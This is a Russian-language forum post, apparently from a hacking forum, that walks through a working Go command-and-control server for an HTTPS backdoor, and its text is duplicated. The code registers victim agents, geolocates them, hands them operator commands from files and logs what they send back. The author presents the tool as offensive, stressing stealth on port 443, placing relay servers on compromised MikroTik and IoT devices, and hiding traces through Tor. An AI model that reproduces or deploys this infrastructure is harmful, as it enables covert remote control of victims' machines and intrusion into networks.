stihl не предоставил(а) никакой дополнительной информации.
Доброго времени суток, достопочтенные!
Сегодня предлагаю рассмотреть пример сервера для обработки сообщений от бэкдора работающего через https. Идея связи через протокол http на мой взгляд имеет неоспоримое преимущество перед иными способами в бэкдоростроении.
В качестве альтернативы решил выбрать Go. Подкупила скорость работы как у ПХП и модульность билдера. При компиляции на выходе получается один бинарник без каких либо внешних зависимостей. Это позволяет быстро настроить новый сервак. Да, этот бинарник будет несколько мегабайт. Но мы же его не по почте будем отправлять.
Изучение пары умных книжек показало заманчивость идеи попробовать Go. Вроде как этот язык квенсистенция всего прошлого опыта создания ЯП и в нем собрано всё самое лучшее из си и плюсов. При этом убраны все минусы. Сейчас можно сказать о лёгкости написания кода сопоставимой с питоном. Есть фишки типа указателей и сопрограм. Это что то вроде традиционных потоков с возможностью обмена данными между ними. Короче те же яйца, только в профиль
Предлагаю переходить к делу.
Описание работы простого сервера можно разделить на несколько подразделов:
0х01 Настройка начальных параметров запуска через конфиг.
Для удобства работы с серваком есть возможность задания ему начальных параметров работы через конфиг. Конфиг положим в json файл. Читать эти параметры будем в экземпляр структуры Config:
Три последних параметра дают возможность настроить сервак на работу с агентом. Если того потребует ситуация.
При запуске сервера сразу проверяется наличие файла конфигурации и его наполненность. Делаем это функцией file_exists_not_empty которая возвращает логическое значение. Если файла конфига нет или он пустой, говорим об этом пользователю и вырубаемся. Тут конечно можно задать параметры по умолчанию. Я не стал этого делать, чтобы принудительно обратить внимание пользователя на настройку работы сервера.
0х02 Формирование списка доступных агентов.
Список всех агентов, когда либо подключающихся к серверу будем складывать в память и в файл. Список в памяти нужен для быстрой работы с ними. Из файла для долговременного хранения в случае перезагрузки сервера, а также для возможности передачи списка по сетке.
Для работы с агентами организуем структуру Сlient:
В файле со списком агентов инфа для каждого агента будет храниться в виде строки:
При запуске сервера делаем попытку чтения его в память. Если такого файла нет сервер начнёт его формировать по мере подключения агентов.
0х03 Логируем все действия сервера.
Журналирование организуем фукнцией put_in_log. Будем её вызывать каждый раз, когда нам потребуется что то зафиксировать.
0х04 Запуск сервера.
Сервер запускаем на 443 порту. Обработку запросов будет выполнять функция handler при обращении по ссылке вида "https://<ip>/url_connect"
Чтобы траф до нашего сервера был шифрованный применяем метод ListenAndServeTLS для запуска. Тут "cert.pem", "key.pem" файлы с сертификатом и ключом. Как их генерить может подробно рассказать гугл или всевозможные языковые модели. Я делал так:
0x05 Обработка обращений агентов.
За обработку обращений от агентов отвечает упомянутая ранее функция handler. Сервер принимает GET запросы. Работу с таким видом запросов проще организовать. Прочитать передаваемые параметры посторонний наблюдатель не сможет, так как мы работаем по шифрованному каналу связи между клиентом и сервером. Для проверки этого утверждения запускал Wireshark. В шифрованных пакетах можно увидеть только адрес или домен до первого слеша. Остальное уже абракадабра.
Страну, с которой к нам пришёл клиент, определим функцией get_contry_client:
В качестве примеров есть закоментированные строки с несколькими сервисами. Формат ответа мне понравился больше у www.geoplugin[.]net. Его и решил применять.
После обработки информации поступившей от агента требуется понять новый это агент или мы с ним работали раньше.
Если агента мы видим впервые:
Если работали с ним ранее попытаемся определить давалась ли этому агенту ранее команда на выполнение:
Для упрощения логики работы программы результат выполнения команды будет фиксироваться только в логе. Ни что не мешает в этом месте кода дописать иные действия для сохранения результата в удобном виде.
Далее ищем файл с командой для этого агента. Если пользователю требуется выполнить команду для какого-либо агента, тогда он создаёт в директории запуска сервера текстовый файл с именем command_<id_agent> (пример command_1234567). И помещает в файл команду одной строкой в виде, как она должна быть введена в терминале. После чтения команды из файла и отправке её агенту, файл удаляется.
Общую логику работы функции handler представим таким алгоритмом:
ищем id агента в памяти (куда складывали список из файла)
Можно заметить один тонкий момент в этом алгоритме. При повторном обращении агента на сервер (когда он уже определяется как старичок) его IP и соответственно страна не будут перезаписываться. Сделано опять же для упрощения алгоритма работы. Да и как по мне большинство пользователей и серверов навлядли будут настолько сильно менять IP адреса, что страна будет меняться тоже.
0х06 Заключение.
Критики предложенного мной варианта сервера могут сходу кидаться ссаными тряпками, что мол уже существует бесчисленное количество с2 фреймворков с богатым функционалом и проверенным кодом (примеры можно увидеть тут threads/135962/). Это действительно так. Я преследовал цель написать своё простое решение. Чтобы мне было понятно как оно работает. Попрактиковаться в кодинге на Go. Ещё мне по душе маленькие быстроразвёртываемые приложения. Которые не требуют много ресурсов и оставляют мало следов в системе при работе. На базе предложенного мной варианта можно разворачивать сеть из серверов "ломов" для связи с агентами. Например в дырявых МикроТиках или различных IoT которые торчат своими интерфейсами с белыми IP. Главное чтобы памяти хватило. И над скрытностю билда бы ещё поработать
Допустимо сравнить предложенный вариант сервера с обычным прокси. Прокси отправляет данные на определённый IP. При компрометации сервера с проски этот IP становится известен тем, кому его знать не положено. При использовании предложенного варианта сервера мы сами подключаемся и забираем результаты работы в виде файла с клиентами list_clients. В такой схеме сервер заранее не знает откуда будет подключение. А при использовании tor или иных средств анонимизации следы будут путаны.
В код из архива (пасс местный в base64) добавленно оборачивание всех сообщений от сервера к агенту и обратно в кодировку base64. Эти исправления были внесены после чернового написания статьи, поэтому они не попали в код. Исправлений не много. Думаю желающие определят разницу.
Так же в архиве будет вариант простого агента на GO настроенным на работу с этим сервером.
Сегодня предлагаю рассмотреть пример сервера для обработки сообщений от бэкдора работающего через https. Идея связи через протокол http на мой взгляд имеет неоспоримое преимущество перед иными способами в бэкдоростроении.
- Во-первых, первейшая задача это скрытность. Трафик шифрованный TLS, завёрнутый в http и отправленный на 443 порт чрезвычайно популярен и затеряется даже в маленькой сетке.
- Во-вторых, использование протокола http поддерживается кучей языков программирования запускаемых на различных платформах и операционных системах. Вариантов изготовления разного рода поделок для отправки запроса на команду и её выполнения можно собрать на коленке превеликое множество. В том числе с помощью языковых моделей. На мой взгляд, особого внимания тут заслуживает JScript и VBScript. Так как их интерпретаторы присутствуют в оконцах по умолчанию.
- В-третьих, бекдор сам принимает решение когда сделать запрос до сервака и тем самым засветиться в сетке. Сюда можно прикручивать различную событийную логику: активность пользователя, время суток, запуск или работа какого-либо процесса или процессов на хосте и т.д. Ограничения только в возможностях ЯП и фантазии автора.
В качестве альтернативы решил выбрать Go. Подкупила скорость работы как у ПХП и модульность билдера. При компиляции на выходе получается один бинарник без каких либо внешних зависимостей. Это позволяет быстро настроить новый сервак. Да, этот бинарник будет несколько мегабайт. Но мы же его не по почте будем отправлять.
Изучение пары умных книжек показало заманчивость идеи попробовать Go. Вроде как этот язык квенсистенция всего прошлого опыта создания ЯП и в нем собрано всё самое лучшее из си и плюсов. При этом убраны все минусы. Сейчас можно сказать о лёгкости написания кода сопоставимой с питоном. Есть фишки типа указателей и сопрограм. Это что то вроде традиционных потоков с возможностью обмена данными между ними. Короче те же яйца, только в профиль
Описание работы простого сервера можно разделить на несколько подразделов:
0х01 Настройка начальных параметров запуска через конфиг.
0х02 Формирование списка доступных агентов.
0х03 Логирование (журналирование).
0х04 Запуск сервера.
0х05 Обработка запросов агентов.
0х01 Настройка начальных параметров запуска через конфиг.
Для удобства работы с серваком есть возможность задания ему начальных параметров работы через конфиг. Конфиг положим в json файл. Читать эти параметры будем в экземпляр структуры Config:
Код:
type Config struct {
File_log string `json:"file_log"` // файл где будем вести лог
File_list_clients string `json:"file_list_clients"` // файл где будет лежать список старых клиентов
Id_in_request_client string `json:"id_in_request_client"` // обозначение id`a клиента в запросе от него
Info_in_request_client string `json:"info_in_request_client"` // обозначение поля с информацией в запросе от клиента
Command_sleep string `json:"command_sleep"` // команда для клиента, чтобы он спал дальше
}
Три последних параметра дают возможность настроить сервак на работу с агентом. Если того потребует ситуация.
При запуске сервера сразу проверяется наличие файла конфигурации и его наполненность. Делаем это функцией file_exists_not_empty которая возвращает логическое значение. Если файла конфига нет или он пустой, говорим об этом пользователю и вырубаемся. Тут конечно можно задать параметры по умолчанию. Я не стал этого делать, чтобы принудительно обратить внимание пользователя на настройку работы сервера.
0х02 Формирование списка доступных агентов.
Список всех агентов, когда либо подключающихся к серверу будем складывать в память и в файл. Список в памяти нужен для быстрой работы с ними. Из файла для долговременного хранения в случае перезагрузки сервера, а также для возможности передачи списка по сетке.
Для работы с агентами организуем структуру Сlient:
C-like:
type Client struct {
id string // идентификатор агента
status bool // статус отправке агенту команды на выполнение
country string // страна, которая определяется по IP с которого подключился агент
ip string // собственно сам IP
}
В файле со списком агентов инфа для каждого агента будет храниться в виде строки:
Код:
1234567 : false : 127.0.0.1:40294 : United States
При запуске сервера делаем попытку чтения его в память. Если такого файла нет сервер начнёт его формировать по мере подключения агентов.
0х03 Логируем все действия сервера.
Журналирование организуем фукнцией put_in_log. Будем её вызывать каждый раз, когда нам потребуется что то зафиксировать.
C-like:
// организуем работу по журналированию
func put_in_log(message string) {
file, err := os.OpenFile(file_log, os.O_CREATE | os.O_WRONLY | os.O_APPEND, 0644)
if err != nil {
log.Fatal(err)
} else {
defer file.Close()
log.SetOutput(file) // определяем в какой файл будем писать
// log.SetFlags(log.Ldate | log.Ltime | log.Lshortfile) // формат строки (дата, время, из какого файла и из какой строки сделана запись)
log.SetFlags(log.Ldate | log.Ltime) // формат строки (дата, время)
log.Println(message) // чтобы сделать запись в лог
}
}
0х04 Запуск сервера.
Сервер запускаем на 443 порту. Обработку запросов будет выполнять функция handler при обращении по ссылке вида "https://<ip>/url_connect"
C-like:
http.HandleFunc("/url_connect", handler) // указываем путь и обработчик
fmt.Println("Попытка запуска сервера на порту 443 ...")
put_in_log("Попытка запуска сервера на порту 443 ...")
err_s := http.ListenAndServeTLS(":443", "cert.pem", "key.pem", nil) // запускаем сервер с шифрованием трафика
if err_s != nil {
fmt.Println("Ошибка запуска сервера:", err_s) // если сервак не запустился, пытаемся увидеть почему это произошло
}
Чтобы траф до нашего сервера был шифрованный применяем метод ListenAndServeTLS для запуска. Тут "cert.pem", "key.pem" файлы с сертификатом и ключом. Как их генерить может подробно рассказать гугл или всевозможные языковые модели. Я делал так:
Код:
openssl genpkey -algorithm RSA -out key.pem -pkeyopt rsa_keygen_bits:2048
openssl req -new -key private.pem -out request.csr
openssl x509 -req -days 365 -in request.csr -signkey key.pem -out cert.pem
0x05 Обработка обращений агентов.
За обработку обращений от агентов отвечает упомянутая ранее функция handler. Сервер принимает GET запросы. Работу с таким видом запросов проще организовать. Прочитать передаваемые параметры посторонний наблюдатель не сможет, так как мы работаем по шифрованному каналу связи между клиентом и сервером. Для проверки этого утверждения запускал Wireshark. В шифрованных пакетах можно увидеть только адрес или домен до первого слеша. Остальное уже абракадабра.
C-like:
if r.Method != http.MethodGet { // проверяем, что метод запроса GET
http.Error(w, "Метод подключения не разрешён", http.StatusMethodNotAllowed)
put_in_log("Клиент пытается подключится неразрешённым методом")
return
}
query := r.URL.Query() // получаем параметры командной строки
id_client := query.Get("id") // забираем ид
info := query.Get("info") // забираем поле с инфой
ip_client := r.RemoteAddr // забираем ип клиента
country_client := get_contry_client(ip_client) // определяем из какой страны к нам ломится клиент
Страну, с которой к нам пришёл клиент, определим функцией get_contry_client:
C-like:
// определяем страну клиента по ип адресу
func get_contry_client (ip string) string {
url := url_service + ip // определяем к какому сервису делаем запрос
//url := "http://ipinfo.io/" + ip
//url := "http://www.geoplugin.net/json.gp?ip=" + ip
//url := "http://api.sypexgeo.net/json/" + ip
resp, err := http.Get(url) // делаем запрос на сервис
if err != nil {
fmt.Printf("Ошибка при обращении на сервис геолокации: %v\n", err)
} else {
respounse_byte, err := ioutil.ReadAll(resp.Body) // пишем ответ из потока в переменную
resp.Body.Close() // закрываем поток
if err != nil {
return "none" // если есть ошибки ничего не возвращаем
} else {
var loc Location
json.Unmarshal(respounse_byte, &loc)
return loc.Country
}
}
}
В качестве примеров есть закоментированные строки с несколькими сервисами. Формат ответа мне понравился больше у www.geoplugin[.]net. Его и решил применять.
После обработки информации поступившей от агента требуется понять новый это агент или мы с ним работали раньше.
C-like:
new_client := true
var index_old_client int
// ищем ид клиента в списке клиентов
for i , _ := range clients {
if id_client == clients[i].id {
new_client = false
index_old_client = i
break
}
}
Если агента мы видим впервые:
C-like:
// пишем инфу в лог
put_in_log(fmt.Sprintf("Появился новый агент: id %s ip %s country %s", id_client, ip_client, country_client))
//отправляем агенту команду спать
fmt.Fprintf(w, command_sleep)
put_in_log(fmt.Sprintf("Отправляем команду 'Спать' для агента: %s", id_client))
// добавляем ID агента в список с IP адресами
clients = append(clients, Client{id:id_client, status:false, ip:ip_client, country:country_client}) // в срезе сервера
put_client_in_list_clients(id_client, clients[len(clients)-1].status, ip_client, country_client) // в файле на диске
Если работали с ним ранее попытаемся определить давалась ли этому агенту ранее команда на выполнение:
C-like:
if clients[index_old_client].status { // если ранее давалась команда на выполнение
put_in_log(fmt.Sprintf("Ранее давалась команда на выполнение для агента: id %s ip %s country %s", id_client, ip_client, country_client))
put_in_log(fmt.Sprintf("результат выполнения команды: %s", info )) // записываем содержимое поля INFO в лог файл
}
Для упрощения логики работы программы результат выполнения команды будет фиксироваться только в логе. Ни что не мешает в этом месте кода дописать иные действия для сохранения результата в удобном виде.
Далее ищем файл с командой для этого агента. Если пользователю требуется выполнить команду для какого-либо агента, тогда он создаёт в директории запуска сервера текстовый файл с именем command_<id_agent> (пример command_1234567). И помещает в файл команду одной строкой в виде, как она должна быть введена в терминале. После чтения команды из файла и отправке её агенту, файл удаляется.
C-like:
name_file_command := "command_" + clients[index_old_client].id // определяем имя файла с командой для агента
if file_exists_not_empty(name_file_command) { // есть ли файл с командой есть и этот файл не пустой
file_command, _ := os.Open(name_file_command) // открываем его
defer file_command.Close()
scan := bufio.NewScanner(file_command)
scan.Scan() // и читаем его
command_for_client := scan.Text() // нам нужна только первая строка с командой
put_in_log(fmt.Sprintf("Для старого клиента %s есть новая команда %s", id_client, command_for_client))
fmt.Fprintf(w, "%s" , command_for_client) //отправляем агенту эту команду
clients[index_old_client].status = true // меняем статус на 1 (команда отправлена)
err := os.Remove(name_file_command) // удаляем файл с командой
if err != nil {
fmt.Println("Ошибка удаления файла: ", err)
} else {
put_in_log(fmt.Sprintf("Файл %s успешно удалён.", name_file_command))
}
} else { // есть ли файлa с командой нет или этот файл пустой
fmt.Fprintf(w, command_sleep) // отправляем агенту команду спать
put_in_log(fmt.Sprintf("Для старого агента %s нет новых команд.", id_client ))
clients[index_old_client].status = false // меняем статус на 0 ( кoманда НЕ отправлена)
}
Общую логику работы функции handler представим таким алгоритмом:
ищем id агента в памяти (куда складывали список из файла)
если такого id нет
отправляем обратно команду "спать"
добавляем id агента в список (в память и в файл)
если такой id есть
если статус агента 1 (ранее отправлена команда на выполнение)
парсим поле info
записываем содержимое в лог файл
если есть файл с командой и он не пустой
если да,
отправляем агенту эту команду
меняем статус агента в памяти на 1 (у агента есть команда на выполнение)
удаляем файл с командой
если нет,
отправляем агенту команду "спать"
меняем статус агента в памяти на 0 (у агента нет команды на выполнение)
Можно заметить один тонкий момент в этом алгоритме. При повторном обращении агента на сервер (когда он уже определяется как старичок) его IP и соответственно страна не будут перезаписываться. Сделано опять же для упрощения алгоритма работы. Да и как по мне большинство пользователей и серверов навлядли будут настолько сильно менять IP адреса, что страна будет меняться тоже.
0х06 Заключение.
Критики предложенного мной варианта сервера могут сходу кидаться ссаными тряпками, что мол уже существует бесчисленное количество с2 фреймворков с богатым функционалом и проверенным кодом (примеры можно увидеть тут threads/135962/). Это действительно так. Я преследовал цель написать своё простое решение. Чтобы мне было понятно как оно работает. Попрактиковаться в кодинге на Go. Ещё мне по душе маленькие быстроразвёртываемые приложения. Которые не требуют много ресурсов и оставляют мало следов в системе при работе. На базе предложенного мной варианта можно разворачивать сеть из серверов "ломов" для связи с агентами. Например в дырявых МикроТиках или различных IoT которые торчат своими интерфейсами с белыми IP. Главное чтобы памяти хватило. И над скрытностю билда бы ещё поработать
Допустимо сравнить предложенный вариант сервера с обычным прокси. Прокси отправляет данные на определённый IP. При компрометации сервера с проски этот IP становится известен тем, кому его знать не положено. При использовании предложенного варианта сервера мы сами подключаемся и забираем результаты работы в виде файла с клиентами list_clients. В такой схеме сервер заранее не знает откуда будет подключение. А при использовании tor или иных средств анонимизации следы будут путаны.
В код из архива (пасс местный в base64) добавленно оборачивание всех сообщений от сервера к агенту и обратно в кодировку base64. Эти исправления были внесены после чернового написания статьи, поэтому они не попали в код. Исправлений не много. Думаю желающие определят разницу.
Так же в архиве будет вариант простого агента на GO настроенным на работу с этим сервером.